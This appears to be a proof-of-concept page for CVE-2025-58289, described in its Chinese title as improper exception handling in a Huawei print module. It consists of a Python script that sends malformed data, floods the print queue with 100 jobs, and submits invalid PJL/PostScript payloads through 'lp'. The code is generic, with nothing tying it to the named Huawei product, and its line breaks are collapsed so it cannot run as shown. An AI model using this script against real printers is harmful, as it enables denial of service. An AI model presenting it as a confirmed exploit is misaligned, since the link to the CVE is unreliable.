CVE-2025-58289 华为产品打印模块异常处理不当漏洞

# CVE-2025-58289 PoC - Improper Exception Handling in Print Module # This PoC demonstrates triggering improper exception handling in the print module import subprocess import sys import os import time def trigger_print_exception(): """ Trigger improper exception handling in the print module by sending malformed print jobs or causing resource exhaustion. """ print("[*] CVE-2025-58289 PoC - Print Module Exception Handling") print("[*] Attempting to trigger improper exception handling...") # Method 1: Send malformed print data try: # Create a malformed print job with invalid/corrupted data malformed_data = b"\x00" * 1024 + b"\xff" * 1024 # Attempt to send to print spooler/service result = subprocess.run( ["lp", "-d", "printer_name", "-"], input=malformed_data, capture_output=True, timeout=5 ) print(f"[*] Print job submitted, return code: {result.returncode}") except subprocess.TimeoutExpired: print("[!] Print service timed out - possible exception handling failure") except Exception as e: print(f"[!] Exception triggered: {e}") # Method 2: Trigger resource exhaustion in print queue try: for i in range(100): subprocess.Popen( ["lp", "-d", "printer_name", "/dev/null"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL ) print("[*] Multiple print jobs submitted to exhaust resources") except Exception as e: print(f"[!] Resource exhaustion triggered: {e}") # Method 3: Send invalid print format try: with open("/tmp/malformed_print_job.prn", "wb") as f: # Write invalid PCL/PostScript commands f.write(b"\x1b%-12345X@PJL\r\n@PJL INVALID COMMAND\r\n") f.write(b"%!PS-Adobe-3.0\n%%Invalid: " + b"A" * 65536) subprocess.run(["lp", "/tmp/malformed_print_job.prn"], timeout=5) print("[*] Malformed print job submitted") except Exception as e: print(f"[!] Exception in print processing: {e}") if __name__ == "__main__": trigger_print_exception()